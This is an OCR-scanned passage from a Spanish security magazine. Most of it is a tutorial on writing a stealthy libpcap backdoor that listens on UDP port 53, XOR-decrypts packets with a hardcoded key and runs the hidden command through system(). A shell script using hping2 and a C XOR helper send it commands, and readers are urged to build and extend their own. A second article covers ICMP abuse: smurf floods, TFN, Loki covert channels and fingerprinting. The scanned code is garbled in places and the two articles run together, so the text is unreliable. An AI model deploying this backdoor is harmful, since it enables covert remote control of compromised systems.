if (!(sniff session=pcap open_ live (NULL, 1024, 0, 0, errbuf))) f{

pcap_compile (sniff session, &filter, filter string, 0, net);

pcap_loop (sniff session, 0, packet handler, NULL);

/

ra. Esta llamada especifica buscara
y almacenara la red y mascara de
subred en las variables de ppr u
int32 net Y mask, que estan previstas
como argumentos.

El primer argumento de esta
funcion determina el dispositivo
desde el que capturar paquetes,
pero si le damos el valor NULL, esto
implica que se usara cualquiera de
ellos, capturandose paquetes des-
de todas las interfaces disponibles.
Como un atacante por lo general
no conocera todos los dispositivos
presentes en el sistema objetivo, lo

mejor para un backdoor es no espe-
cificar dispositivo alguno. Si la lla-
mada a la funcion falla, se devuelve
el valor -1 y el programa hace una
llamada a exit().

La siguiente funcion llamada en
el Listado 3 es pcap _open _ live(),
que abre y devuelve un puntero
hacia un descriptor de captura de
paquetes. Un descriptor de cap-
tura es el tipo de datos primarios
utilizados para capturar paquetes,
y gestiona practicamente todos los
aspectos de la sesién de captura de
paquetes.
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Listado 4. Gestionando paquetes y analizando comandos

#define ETHER IP UDP LEN 44

#define MAX SIZE 1024

#define BACKDOOR_HEADER KEY "leet"
#define BACKDOOR_HEADER LEN 4
#define PASSWORD "password"

#define PASSLEN 8

#define COMMAND START "start["
#define COMMAND END "]end"

void packet handler(u char *ptrnull,
const struct pcap pkthdr *pkt_info,

const u_char *packet)

int len, loop;

char *ptr, *ptr2;

char decrypt [MAX SIZE];
char command[MAX SIZE];

/* Paso 1: identificar donde se encuentra la carga util del paquete */
ptr = (char *) (packet + ETHER IP UDP LEN);
if ((pkt_info->caplen - ETHER IP UDP LEN - 14) <= 0)

return;

/* Paso 2: buscar en la carga util la clave de encabezamiento del backdoor

*/

if (0 != memcmp (ptr, BACKDOOR_HEADER KEY, BACKDOOR HEADER LEN))

return;
ptr += BACKDOOR HEADER LEN;

len = (pkt_info->caplen - ETHER IP UDP LEN - BACKDOOR HEADER LEN) ;
memset (decrypt, 0x0, sizeof (decrypt));

/* Paso 3: desencripta el paquete mediante XOR'ing pass de sus contenidos

*/
for (loop = 0; loop < len; loopt+
decrypt [loop] = ptr[loop]

/* Paso 4: verificar contenidos desencriptados */
if (! (ptr = strstr(decrypt, COMMAND START)))

return;
ptr += strlen(COMMAND START) ;

if (! (ptr2 = strstr(ptr, COMMAND END)))

return;

/* Paso 5: extraer el resto */

memset (command, 0x0, sizeof (command)) ;

strncpy (command, ptr, (ptr2 - ptr));
/* Paso 6: Ejecutar comando */
system(command) ;

return;

~ PASSWORD|[ (loop % PASSLEN) ];

Como en la funcién anterior, el
primer argumento sera el dispositi-
vo de red del que capturar, y NULL
significa cualquier dispositivo. El
siguiente argumento sirve para
ajustar el maximo numero de bytes
a capturar de cada paquete, lo que
llamaremos snaplen, y le daremos
el valor 1024. El tercer argumento
determina si configurar el dispositivo
en modo promiscuo 0 no-promiscuo
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(si captura o no captura paquetes no
destinados a este sistema). Aqui lo
configuraremos en modo no-pro-
miscuo, pero esta opcion realmente
no importa en nuestro contexto, ya
que se ignora si NULL (cualquier
dispositivo) se ha especificado para
el primer argumento.

No configurar el dispositivo en
modo promiscuo es una ventaja
para esta aplicacion. A menudo,

cuando un dispositivo entra en modo
promiscuo, se graba una entrada en
el registro de sistema alertando del
estado del dispositivo (lo que podria
revelar la presencia de un backdoor).
El cuarto argumento es el timeout de
la lectura en milisegundos; cero
especifica que no hay timeout. Si fa-
llara pcap _open _ live(), NULL sera
el resultado, y el programa terminara
con exit (), de lo contrario se devol-
vera un puntero hacia un descriptor
de captura.

La siguiente llamada es a la fun-
cion pcap _ compile(). Esta funcién
construye, o como lo llama pcap,
compila, un filtro de paquetes para
restringir el tipo de paquetes que
capturamos. Construir un filtro de
paquetes es la forma mas sencilla de
especificar el protocolo deseado y el
puerto de los paquetes que seran
capturados, asi que podemos usarlo
para cumplir uno de los objetivos del
backdoor.

El primer argumento para
pcap _compile() €S el descriptor de
captura, sniff session. El siguien-
te argumento que se espera es un
puntero hacia una estructura bpsr _
program. Esta estructura es conocida
como el programa filtro que sera
compilado por pcap _compile(). Enel
ejemplo bpf program S€ llamasiiter,
Y Se pasa a pcap compile() POr su
direccion (en efecto, un puntero).

El tercer argumento es la cade-
na que contiene las reglas para ser
compiladas en este filtro. Las cade-
nas de reglas del filtro se escriben
de una forma logica e intuitiva. Lo
conocido como filter string[], que
contiene "udp dst port 534 €s apli-
cado para este argumento. Cuando
se compilan en vpf program, estas
cadenas de reglas le indican a pcap
que soOlo debe capturar paquetes
destinados para el puerto UDP 53.

Una vez se compila el filtro
de paquetes, se activa llamando
a pcap _ setfilter(sniff session,
filter). Desde este momento, cual-
quier paquete capturado a través del
descriptor de captura sniff session
sera de protocolo UDP destinado al
puerto 53 (que era una de las metas
del backdoor).
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~
Enviando comandos al backdoor
Ahora que ya tenemos listo el backdoor, necesitamos una herramienta para enviarle
comandos. El Listado 5 muestra una posibilidad muy sencilla de hacerlo. Requiere el
comando hping. Su uso es:
$ ./silentkey.sh <ip> <command>
Este script precisa de una pequefia aplicacion C para hacer XOR a la cadena
(ver Listado 6). Deberia compilarse y situarse en el mismo directorio que el script
silentkey.sh:
$ gcc -o xor_string xor_ string.c
Este script puede usarse tanto con el backdoor descrito en este articulo como con la
aplicacion SilentDoor. El paquete SilentDoor contiene una aplicacion mas avanzada
para el envio de comandos.

J

dentro de paquetes

#!/bin/bash
PASS=leet

COM_START="start["
COM_END="]end"

if [ -z "$1" )

then

echo "$0 <ip> <command>"
exit 0

fi

if [ -z "$2" ]

then

echo "$0 <ip> <command>"
exit 0

fi

-

Listado 5. silentkey.sh — un script de shell para enviar comandos

OPTS="-c 1 -2 -E /dev/stdin -d 100 -p 53 "

echo "$COM START$25COM END $PASS to hping $OPTS $1"
./xor_string "$COM_START$2$COM END" $PASS | hping2 $OPTS $1

#include <stdio.h>

int main(int argc, char *argv([])

int i, x, y;
if (largv[l] | largv[2])

o

return 0;

x = strlen(argv(l]);
y = strlen(argv[2]);
for (i = 0; i < x; ++i)
argv[1] [1] "= argv[2][(i%y)];
printf ("$s", argv([l]);
return 0;

Listado 6. xor_string.c — usado por el script del Listado 5

printf ("$s <string> <pass>\n", argv[0]);

Finalmente, en el Listado 3, la
funcion pcap 1oop() €s invocada
para iniciar la sesion de captura

propiamente dicha. Los argumentos
esperados por pcap loop() son: el
descriptor de captura, el numero de

paquetes a capturar, el nombre de una
funcion de gestion de paquetes, y un
puntero arbitrariamente definido para
ser aplicado al gestor de paquetes. La
funcidn pcap _ 100p () funcionara escu-
chando y capturando paquetes segun
el descriptor dado, hasta alcanzar el
nuimero especificado de paquetes
a capturar. Al capturar cada paquete,
llama a la funcidon de gestiéon para
procesar adecuadamente el paquete.
Esta funcion de gestién de paquetes
debe tener una estructura de argu-
mentos definida especificamente,
porque pcap _loop() le enviara datos
de una forma especifica.

Cuando pcap loop() invoca a
la funcion de gestion de paquetes,
le envia los siguientes argumentos
en orden al gestor: un puntero defi-
nido por el programador, un puntero
a una estructura pcap _pkthdr, expli-
cada posteriormente, y un puntero al
paquete en si mismo. Esto permite
que la funcién de gestion de paque-
tes reciba el paquete, su informacion
relativa, y cualquier otro dato que
el programador quiera introducir (a
través del puntero definido por el
programador).

En el Listado 3, el contador de
paquetes aplicado es 0, lo que indica
apcap _loop() que capture paquetes
de forma indefinida. Se especifica
que la funcién de gestion de paque-
tes tenga el nombre packet handler,
lo que significa que pcap buscara
una funcién con este nombre, para
enviarle los paquetes capturados.
No se requiere el puntero definido
por el programador, ya que nunca
sera usado por pcap, solo se pro-
porciona como un medio para que el
programador envie datos a través de
pcap _loop() a la funcién de gestion.
Para escribir este backdoor, y para el
ambito de este articulo, este puntero
no se usa, asi que se determina para
pcap _loop() como NULL.

Gestionando paquetes

y analizando comandos

Cdémo gestionar un paquete captura-
do, y como analizarlo apropiadamen-
te para hallar comandos, es la tarea
mas dificil de solucionar cuando se
escribe un backdoor de captura de
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paquetes. De todas formas, como
el programador sabe que pcap apli-
cara los argumentos de la funcion
de gestién en un orden especifico,
es relativamente sencillo escribir un
prototipo para la funcion de gestion.

El primer argumento enviado al
gestor es el puntero definido por el
programador u _char Este
es el mismo puntero que aplicamos
a pcap _loop() NULL, asi que sa-
bemos que no habra datos en este
argumento para este ejemplo. El
segundo argumento que se aplicara
a esta funcion es un puntero a una
estructurapcap pktndr. Esta estruc-
tura contiene tres elementos: struct
timeval ts contiene el tiempo en que
el paquete fue capturado, vpr u
int32 caplen contiene el numero de
bytes capturados, y bpf u_int32
1en contiene la longitud total de
bytes disponibles para la captura
(que puede ser mayor que los bytes
capturados, si supera el snaplen).

Finalmente, el ultimo argumen-
to aplicado es un char *packet, NO
firmado, que apunta a los datos del
paquete. No olvidemos que pcap
captura el paquete entero, incluyen-
do sus encabezamientos de protoco-
lo, asi que el punterou  char *packet
apunta al principio del paquete com-
pleto (no sélo sus contenidos). Para
acceder tan solo a los contenidos del
paquete, la longitud de los encabe-
zamientos de protocolo (Ethernet,
UDP, IP, etc.) en bytes debe cono-
cerse previamente, para eliminarlos
del puntero de paquetes que vamos
a aplicar. En el Listado 4, hay un va-
lor #define para las longitudes com-
binadas de los encabezamientos de
Ethernet, IP, y UDP, que representa
en total un numero de 44 bytes.

La funcion presentada en el Lis-
tado 4 se llama packet handler(),
ya que este es el nombre previsto
(habiendo sido aplicada a pcap
loop() en el Listado 3). El objetivo
de packet handler() €S asegurarse
de que el paquete que se aplica esta
realmente dirigido al backdoor, y con-
tiene datos legitimos del backdoor.
Para conseguir esto en nuestro back-
door ejemplo, es necesario escribir
algun tipo de sintaxis de protocolo

*user.
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de backdoor para la autentificacion
y desencriptacion del paquete.

Como se muestra en el Listado 4,
la primera capa de la autentificacion
requiere la comparacion de los pri-
meros bytes de los contenidos del
paquete con algun tipo de clave de
protocolo. Si la clave no esta presen-
te, el paquete queda descalificado
para el uso con el backdoor, y la
funcion se reinicia. La presencia de
esta clave de protocolo indica que el
paquete esta pensado para el back-
door y los datos deben ser procesa-
dos a través de mas autentificacion.
Comprobar la clave de protocolo
antes de emplear otras formas de
autenticacion mas complejas mejora
la eficiencia.

Ahora, si la funcion de gestion
aun no se ha reiniciado, se supo-
ne que el paquete contiene datos
encriptados. Es util intentar ahora
la desencriptacién de los datos
restantes del paquete, y después
comprobarlos para mayor auten-
tificacion. Para el ambito de este
ejemplo, no se utilizaran medios de
encriptacion pesada, al contrario,
este ejemplo utiliza un meétodo lla-
mado encriptacién XOR. Esta forma
de encriptacion es simple, utilizando
el operador bitwise XOR (Exclusive-
OR) con 2 bytes de datos para pro-
ducir 1 byte de datos resultante. Esto
es, tomar un byte de una cadena
clave, y hacerle XOR frente a un by-

te del conjunto de datos a encriptar,
y el resultado es un byte encriptado.
El proceso de desencriptacion es
esencialmente el mismo: hacer XOR
a un byte encriptado contra la clave
correspondiente para encontrar el
byte original sin encriptar.

El Listado 4 utiliza un bucle para
hacer XOR a cada byte que quede
en el paquete contra la clave, de-
finida como rassworp. El operador
modulus () se usa para determinar
qué byte de la cadena clave corres-
ponde a qué byte de los contenidos
del paquete. El byte desencriptado
resultante de cada ciclo del bucle es
almacenado en un conjunto llamado
decryptl[].

Una vez que los datos restantes
han sido desencriptados, necesitan
ser verificados. La verificacion de
los datos se hace para comprobar
que se originaron desde un estado
desencriptado, por lo que estan pen-
sados para el backdoor. Es impor-
tante darse cuenta de que aunque el
paquete pudiera contener la clave de
encabezamiento del backdoor, po-
dria ser por causas completamente
aleatorias y por coincidencia. Aun
mas importante, se puede que el
paquete esté falsificado por alguien
que sepa que el backdoor existe, ya
que el encabezamiento puede ser
captado con facilidad (porque esta
en texto sencillo). Comprobando los
datos desencriptados, se asegura

-
En la Red
deteccion de backdoors,
cion,

caédigo,

*  http://www.icir.org/vern/papers/backdoor — un buen articulo sobre los conceptos de
*  http://www.tcpdump.org — pagina de libpcap, y una gran fuente de documenta-
*  http://n0d0z.darktech.org/~drraid — sitio personal de drraid's para intercambiar

»  http://www.rootkit.com — revista online sobre rootkits y backdoors.
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que el creador del paquete no soélo
conocia la clave de encabezamiento,
sino la clave de encriptacion.

Para una programacion mas
sencilla, el Listado 4 valida los con-
tenidos desencriptados simplemente
comprobando 2 cadenas predefini-
das en los datos desencriptados. Es-
tas cadenas estan pensadas para
actuar como encabezamiento y pie
para la cadena de comandos a eje-
cutar, y se definen como comvanp
START Y COMMAND END. Si no se
encuentra alguna de ellas, el paque-
te se considera invalido, y la funcién
se reinicia. Si no es asi, y las 2 cade-
nas estan presentes, los datos entre
las dos cadenas son extraidos y se
consideran como un comando. Este
paso de verificacion final elimina
a un 99.9% las posibilidades de un
paquete irrelevante, aleatorio o crea-
do de forma fraudulenta.

El dultimo paso para completar los
propésitos de nuestro backdoor es la
ejecucion del resto de la cadena co-
mo un comando. Esto se logra en el
Listado 4 invocando system() Sobre

el resto de la cadena desencriptada
y extraida. Tengamos en cuenta que
aunque la invocacion de system()
provocara la ejecucion de la cadena
como un comando, no hara nada
para gestionar la entrada o salida
del comando ejecutado. Por ello,
entre otras cosas, system() NO €S Ni
discreto ni practico en el contexto de
un backdoor remoto, y sélo lo mos-
tramos aqui como un ejemplo.
Nuestro backdoor de ejemplo, es,
como podemos ver, muy simple. De
cualquier forma, es una base para
la experimentacion y para extender
su funcionalidad. Un programa ya
creado sobre la base de esta idea
es SilentDoor, creado por el autor
de este articulo e incluido en el CD
hakin9.live. Se anima a los lectores
a experimentar y expandir esta idea,
y les invitamos a enviar sus comenta-
rios tanto al autor como a la revista.

Conclusién

Los backdoors de captura de paque-
tes son escurridizos y dificiles de
prevenir (e incluso de detectar, en la

mayoria de los casos). Afortundada-
mente, habiendo leido este articulo,
obtendremos un buen conocimiento
de los objetivos de tales backdoors,
y podremos empezar a escribir los
nuestros propios. El codigo aqui
mostrado es tan soélo una prueba
conceptual, y no es en modo alguno
robusto o completo.

La industria de seguridad no tie-
ne, en estos momentos, muchas (si
es que tiene alguna) herramientas
para detectar este tipo de backdoor.
Existen varias herramientas para de-
tectar escuchas en el sistema, pero
la mayoria sélo detecta escuchas
promiscuas (lo que no funcionaria
con un backdoor de captura de
paquetes bien construido y coloca-
do). La habilidad para determinar el
estado de todas las capturas de pa-
quetes en un sistema puede que sea
el proximo paso para los desarrollos
anti-backdoor, aunque hasta que las
herramientas lleguen a ese punto,
esta técnica deberia ser considerada
como una amenaza convencional. ®
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El ICMP, uso y abuso

Antonio Merola .]

Grado de dificultad
o

manipulan correctamente.

Protocol (Protocolo de Control de Mensa-

jes de Internet). Se ocupa de la entrega de
mensajes en condiciones no-transitorias de
error. La especificacion RFC vy las funciones
ICMP se subrayan en el RFC 792. La Tabla 1
contiene una lista de los documentos RFC que
tienen que ver con el ICMP. EI ICMP se utiliza,
por ejemplo, cuando un host recibe una peticion
UDP en un puerto que no esta a la escucha,
o cuando la fragmentacion IP es necesaria y el
bit DF esta definido (ver el recuadro La Frag-
mentacion IP y el ICMP). El mismo se involucra
en los informes sobre las condiciones de error
y la consultas que se hacen a la red.

Aunque el ICMP se resume en datagramas
IP, como los protocolos de transporte, tales como
el TCP o el UDP (la capa OSl 4), es un protocolo
de red con capas (la capa OSI 3) como el mismo
protocolo IP. EI ICMP es una parte integral del IP,
no utiliza un esquema cliente-servidor o nimeros
de puerto, puede ser transmitido y no da garan-
tias de entrega de un mensaje. Los datos mas
importantes en el protocolo ICMP son los tipo de
mensaje y los codigo de mensaje para un tipo de
mensaje especifico. Estos dos numeros se inclu-
yen en los primeros dos bytes del encabezado

I CMP quiere decir Internet Control Message

hakin9 N° 2/2006

e i -
Con frecuencia se considera al ICMP como un protocolo muy
inocente e inofensivo. Si embargo, puede ser blanco de intrusos
con malos propdsitos, si el sistema operativo o cortafuegos no lo

ICMP (ver Figura 1). La Tabla 2 define varios
tipos y cédigos de ICMP.

La peticidon/respuesta eco
del ICMP

La peticiéon/respuesta eco del ICMP se utiliza
para comprobar si un host esta listo o no.

g
En este articulo aprenderas...

» detalles sobre el funcionamiento del ICMP y su
utilizacion,

* como puede utilizarse el ICMP para el reco-
nocimiento, la deteccion de huellas digitales,
los canales secretos, y los ataques de DoS
y MITM,

* qué tipo de mensajes ICMP se pueden utilizar
con malas intenciones y como,

* como el ICMP puede interrumpir las conexio-
nes TCP,

* como protegerse contra el abuso del ICMP.

Lo que deberias saber...

» como utilizar el sistema operativo *NIX,
» debes tener conocimientos basicos del TCP/
IP.

www.hakin9.org




El abuso del protocolo ICMP

La fragmentacién IP
y el ICMP

Los datagramas IP se resumen en
estructuras, el tamafio de un da-
tagrama se reduce al limite de cada
trasmision de medios, este tamafo
se conoce como MTU (Maximum
Transmission Unit) y si es mayor
que este limite, entonces debe ser
fragmentado. Se puede evitar que
un datagrama |IP sea fragmentado
asignando el indicador DF — Don't
Fragment en el encabezado IP. Si un
router recibe un paquete demasiado
grande para reenviarlo, este se frag-
mentara y se pasara, mientras que
si el bit DF esta definido el paquete
sera abandonado y el ICMP tipo 3
(destino inalcanzable), codigo 4 (se
necesita fragmentacion pero no se
ha asignado un bit de fragmento) es
devuelto al remitente. Esto le dice
al host del remitente que necesita
reducir el tamafo de sus paquetes
para que estos pasen; el MTU del
siguiente salto se incluye en el men-
saje ICMP de modo que el remitente
sabe cuan grandes pueden ser los
paquetes.

La herramienta Sing

Sing quiere decir Send ICMP Nasty
Garbage (Envia la sucia basura del
ICMP). Esta envia paquetes ICMP
totalmente personalizados desde
la linea de comandos y se utilizara
extensamente en este articulo con
propésitos demostrativos. Su objeti-
vo principal es sustituir al comando
ping. Puede enviar y leer paquetes
IP falsos, enviar paquetes MAC falsifi-
cados, mensajes con diferentes tipos
de informacién y errores, y paquetes
monster. También puede utilizar las
opciones |P: Enrutamiento Estricto de
la Fuente y Enrutamiento Libre de la
Fuente. La herramienta se puede des-
cargar desde http://sourceforge.net/
projects/sing. Aunque esta herramien-
ta hace un buen manejo del ICMP, ya
no se desarrolla, pero tiene suficiente
funcionalidad para llevar a cabo
pruebas que persiguen el objetivo de
este articulo. Por supuesto, podemos
utilizar la herramienta qué queramos,
por ejemplo la nemesis-icmp o la
poderosa hping2 — el concepto sigue
siendo el mismo.

Tabla 1. Los documentos RFC relacionados con el ICMP

| 4 bytes

RFC 792 Internet Control Message Protocol
RFC 896 Source Quench
RFC 950 Se dirige a las extensiones de Mascara
RFC 1122 Requisitos de los Hosts de Internet — Capas de
Comunicacion
RFC 1191 Descubrimiento de la ruta MTU
RFC 1256 Descubrimiento del Router
RFC 1349 Tipo de Servicios en el Protocolo de Internet Suite
RFC 1812 Requisitos de los Routers IP version 4
Tipo Cadigo Suma de Control
El Campo
de Datos IP

Datos ICMP (dependiendo del tipo de mensaje)

Figura 1. El formato del mensaje ICMP

Que no haya respuesta no signifi-
ca necesariamente que el host no
funcione. Si, por ejemplo, se envia
un ping a la direccion de entrada
de un VRRP (Virtual Redundancy
Routing Protocol — RFC 2338), po-
dria no recibirse respuesta (depen-
de de la configuracién del VRRP)
incluso cuando hemos Ilegado
a ella. Sin embargo, la tabla ARP
muestra una direccion de entrada
MAC que comienza con 00-00-5E
que se asocia con aquella IP que
demuestra que el mensaje paso.
La entrada podria tener una ACL
(Access Control List) para bloquear
el trafico ICMP.

Los mensajes ICMP que estan
implicados son:

* peticion eco (tipo 8) desde
el destino hacia el origen,

* respuesta eco (tipo 0) desde
el destino hacia el origen.

Por ejemplo:

# ping -c 1 -p \
'20006d617363616c <«

www.hakin9.org

7a6£6€6520000000" \
10.239.174.180

Este ping es poco comun, pues he-
mos insertado un patron hexadecimal
que utiliza -p, que es un mascalzone
en ASCII. En un escenario predeter-
minado el remitente introduce datos
arbitrarios en el campo de datos,
y estos datos se devuelven sin alte-
raciones en la respuesta. También
hemos puesto el contador en 1, para
tener sélo un paquete en vez de los 4
que hay por defecto. El interruptor -p
s6lo esta presente en las maquinas
*NIX, el comando ping de Windows
no tiene esta capacidad.

El Listado 1 muestra la salida
del tcpdump. Observa que los en-
cabezados ICMP comienzan en el
byte numero 20 contando desde O,
y el byte 9 contiene el 01 (el nume-
ro de protocolo ICMP). La Figura 2
muestra el formato del mensaje de la
peticion/respuesta eco.

La manera mas popular de utilizar
la peticion/respuesta eco del ICMP

hakin9 N° 2/2006
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es el ataque DoS smurf (ver http://

Listado 1. La peticion/respuesta eco visualizada en el tcpdump www.cert.org/advisories/CA-
¥ tepdump -ilel -nvx icmp 1998-01.htm{). Este se basa .en
10.239.174.230 > 10.239.174.180: icmp: <« que es posible hacerle un ping
echo request (id:3f03 seq:0) (ttl 255, id 23258, len 84) a una direccion de broadcast. Gran
0000: 4500 0054 5ada 0000 ff01 ed55 Oaef aee E..TZU..y.iU.i®Ge cantidad de las peticiones eco que
0010: Oaef aebd 0800 1102 3f03 0000 435c b07a .i® ....?...C\°z estan dirigidas a esta direccién de
0020: 000c 7304 2000 6d6l 7363 6l6c 7abf 6e65 ..s. .mascalzone t ., la di
0030: 2000 0000 2000 6d6l 7363 6loc 7abf 6e65 . .mascalzone rans.r'nlsmn Se_ .generan Con’ a I-
0040: 2000 0000 2000 6d61 7363 616c Tab6f 6e65 . .mascalzone reccion IP falsificada de la victima.
0050: 2000 El objetivo es lograr que la red se
congestione, lo que provoca que
10.239.174.180 > 10.239.174.230: icmp: < la maquina de la victima se quede
echo reply (id:3f03 seq:0) (ttl 128, id 54675, len 84) i
0000: 4500 0054 d593 0000 8001 fl19c Oaef aebd E..TO..... A..i®° ortiine.

0010: Oaef aee6 0000 1902 3f03 0000 435c b07a .i®z....?...C\°z El ataque smurf se puede rea-
0020: 000c 7304 2000 6d61 7363 616c 7abf 6e65 ..s. .mascalzone lizar desde una ubicacién remota.
0030: 2000 0000 2000 6d6l 7363 6loc 7abf 6e65 .mascalzone Se envia una peticién eco |CMP
gggg zggg 0000 2000 6d61 7363 616c 7a6f 6e65 .mascalzone a un host intermediario (un amplifi-
' cador). Esta peticion contiene una
direccién de origen falsificada de la
victima y una direccién objetivo de
0 4 8 16 31 transmision. Si el host intermediario
Tipo Cédigo = 0 Suma de Control no esta protegido, enviara el paque-
te a todas las maquinas de la red
Identificador Ndmero de la secuencia y estas responderan a la maquina

de la victima.

Datos... o
Una victima no puede hacer mu-

Figura 2. El formato del mensaje de la peticién/respuesta eco del ICMP

Tabla 2. Los tipos y cédigos del ICMP

Tpo [Nombre  looago

0 — No hay cédigo

0

1
2
3

hakin9 N° 2/2006

Respuesta Eco

No asignado

No asignado

Destino inasequible

Source quench

Redireccién

0 — No hay codigo

0 — No hay cdédigo

0 — Red inasequible

1 — Host inasequible

2 — Protocolo inasequible
3 — Puerto inasequible

4 — Se necesita fragmentacion y se asigno Don't fragment
5 — Fall6 la ruta de origen

cho para protegerse de este ataque,
la proteccion debe residir en la mis-

6 — Red de destino desconocida

7 — Host de destino desconocido

8 — Host de Origen aislado

9 — La comunicacion con la red de destino esta prohibida administrativamente
10 —La comunicacién con el host de destino esta prohibida administrativamente
11 — Red de destino inasequible para el tipo de servicio

12 — Host de destino inasequible para el tipo de servicio

13 — La comunicacioén esta prohibida administrativamente

14 — Prioridad de violacién del Host

15 — Proridad cortar efectiva

0 — No hay codigo
0 — Redireccionar el datagrama para la red (o subred)
1 — Redireccionar el datagrama para el host

2 — Redireccionar el datagrama para el tipo de servicio y la red
3 — Redireccionar el datagrama para el tipo de servicio y el host

www.hakin9.org



El abuso del protocolo ICMP

Tabla 2. Los tipos y codigos del ICMP

L

6 Alternar la direccion del host

7 No asignado

8 Peticiéon Eco

9 Anuncio del Router

10 Seleccion del Router

1" Exceso de tiempo

12 Problema del parametro

13 Marca de tiempo

14 Respuesta de la marca de tiempo

15 Peticion de Informacién

16 Respuesta de la Informacion

17 Peticion de la direccién de mascara

18 Respuesta de la direccion de mas-
cara

19 Reservado (para la seguridad)

20-29 Reservado (para el experimento de
fuerza)

30 Rastreo de la ruta

31 Error de conversién del datagrama

32 Redireccién Mévil del host

33 IPv6 Donde-Estas

34 IPv6 Aqui- Estoy

85 Peticion del registro Movil

36 Respuesta del registro Movil

39 SKIP

40 Photuris

0 — Alternar la direccion para el host

0 — No hay cédigo
0 — No hay cédigo
0 — No hay codigo
0 — No hay codigo

0 — Exceso del Time to Live en el transito
1 — Recomposicion del fragmento de tiempo excedido

0 — El puntero indica el error

1 — No aparece una opcion necesaria
2 — Longitud errénea

0 — No hay codigo

0 — No hay cédigo

0 — No hay cédigo

0 — No hay cédigo

0 — No hay cédigo

0 — No hay cédigo

0 — No hay codigo

0 — No hay cédigo

0 — No hay cédigo
0 — No hay cédigo

0 — No hay cédigo

0 — No hay codigo

0 — No hay cédigo

0 — No hay cddigo

0 — No hay codigo

0 — No hay cédigo

0 — Reservado

1 — Indice de parametros de seguridad desconocido

2 — Parametros de seguridad validos, pero fallo la autenti-
cacion

3 — Parametros de seguridad validos, pero fall6 el desci-
frado

ma red. La red debe estar protegida
para que no se le utilice como un
amplificador. Por lo tanto, el reenvio
de la transmision dirigida debe des-
activarse en todos los puertos del

router. Esto evitara que otras redes
(p.ej. externas) envien peticiones
a las direcciones de transmision de
laredinterna. Esto se describe en el
RFC 2644. Otra capa de proteccion

se consigue configurando todas las
maquinas de la red para que igno-
ren los paquetes ICMP enviados
a las direcciones de trasmisién. Si
todas las maquinas de una red se

hakin9 N° 2/2006
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Listado 2. Ejemplo de Rastreo de la Ruta

traceroute -n www.name.com

© o o U W N e

192.168.1.1 2.174 ms 3.46 ms 6.734 ms
192.168.100.1 164.449 ms 14.893 ms 9.979 ms
HOP 3.7.24 7.847 ms 10.716 ms 10.820 ms
HOP_4.211.137 10.535 ms 7.250 ms 12.668 ms
HOP_5.98.125 10.477 ms 13.546 ms 15.912 ms
HOP 6.211.118 8.978 ms 92.593 ms 14.866 ms
HOP_7.5.46 13.452 ms 6.291 ms 13.665 ms
HOP_8.8.194 14.94 ms 15.156 ms 21.299 ms
DEST.128.8 13.907 ms 18.545 ms 14.308 ms

Listado 3. El Rastreo de la Ruta que se visualiza en el tcpdump

# tcpdump -ilel -nn udp or icmp

1. 192.168.1.3.23469 > 192.168.1.1.53:[udp sum ok] <

49680+ A?www.name.com.

(30) (ttl 64, id 63871, len 58)

192.168.1.1.53 > 192.168.1.3.23469:49680% <«

1/2/2 www.name.com.A DEST.128.8 (129)
2. 192.168.1.3.34790 > DEST.128.8.33435:

udp 12 [ttl 1] (id 34791, len 40)

(DF) (ttl 64, id 0, len 157)
[no cksum] <

192.168.1.1 > 192.168.1.3: icmp: time exceeded in-transit <

[tosOxcO] (ttl 255, id 14431,

udp 12 (ttl 2, id 34794, len 40)
192.168.100.1 > 192.168.1.3:
[tos 0xcO] (ttl 254, id 40091,

udp 12 (ttl 3, id 34797, len 40)

len 68)
3. 192.168.1.3.34790 > DEST.128.8.33438:

[no cksum] <=

icmp: time exceeded in-transit <«
len 56)
4. 192.168.1.3.34790 > DEST.128.8.33441:

[no cksum] <

HOP 3.7.24 > 192.168.1.3: icmp: time exceeded in-transit <«

[tosOxc0] (ttl 253, id 63460,

udp 12 (ttl 4, id 34800, len 40)

len 56)
5. 192.168.1.3.34790 > DEST.128.8.33444:

[no cksum] <

HOP 4.211.137 > 192.168.1.3: icmp: time exceeded in-transit «

[tos 0xcO] (ttl 246, id 65312,

udp 12 (ttl 5, id 34803, len 40)

len 168)
6. 192.168.1.3.34790 > DEST.128.8.33447:

[no cksum] <=

HOP 5.98.125 > 192.168.1.3: icmp: time exceeded in-transit <

[tos 0xcO] (ttl 247, id 25777,

udp 12 (ttl 6, id 34806, len 40)

len 168)
7. 192.168.1.3.34790 > DEST.128.8.33450:

[no cksum] <

HOP 6.211.118 > 192.168.1.3: icmp: time exceeded in-transit <«

(ttl 250, id 53570, len 168)

8. 192.168.1.3.34790 > DEST.128.8.33453:

udp 12 (ttl 7, id 34809, len 40)

[no cksum] <«

HOP 7.5.46 > 192.168.1.3: icmp: time exceeded in-transit <«

(ttl 248, id 0, len 56)

9. 192.168.1.3.34790 > DEST.128.8.33456:

udp 12 (ttl 8, id 34812, len 40)

[no cksum] <=

HOP_8.8.194 > 192.168.1.3: icmp: time exceeded in-transit +

(ttl 248, id 0, len 56)

10. 192.168.1.3.34790 > DEST.128.8.33459:

udp 12 (ttl 9, id 34815, len 40)

[no cksum] <=

DEST.128.8 > 192.168.1.3: icmp: DEST.128.8 udp port 33459 unreachable <+

(ttl 120, id 37460, len 68)

.

configuran de esa forma, ninguna
respondera a semejante peticion
y la vicitima no se vera desbordada
de peticiones.

El TEN (Tribe Flood Attack, ver
en la http://staff.washington.edu/
dittrich/misc/tfn.analysis) es una
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herramienta con malos propositos
que utiliza la peticiéon y respuesta
eco del ICMP. Es una herramienta
de ataque DDoS, creada en base a
una arquitectura de capas multiples
(atacante, cliente, demonio, victi-
ma), que se comunica empleando

los mensajes de respuesta eco del
ICMP. Esto se usa porque ciertas
herramientas de monitoreo no su-
pervisan los paquetes ICMP, por
lo que la comunicacion es invisible
y es mas dificil detectar la herra-
mienta TFN en accion.

La parte de datos del encabe-
zado ICMP también se puede uti-
lizar para la comunicacion secreta
del canal, el proyecto Loki (http://
www.phrack.org/phrack/49/P49-06)
es un ejemplo de este uso. Para
comprobar el Loki que se usa debe-
mos observar detenidamente gran
parte del trafico de respuestas eco.

Las peticiones y respuestas
ICMP también pueden ser usadas
por un atacante que esté haciendo
un primer reconocimiento. Si una
maquina responde a una peticion
ICMP, existe y funciona. Se podrian
detectar facilmente las huellas digi-
tales observando el valor TTL, pues
los sistemas operativos utilizan dife-
rentes valores TTL predefinidos.

El tiempo excedido en
el transito del ICMP
y el puerto UDP no

asequible (traceroute)
El traceroute de *NIX funciona
enviando primeramente paquetes
UDP a su destino conun TTL (Time
To Live) que aumenta a partir de 1.
Es necesario que cada router a lo
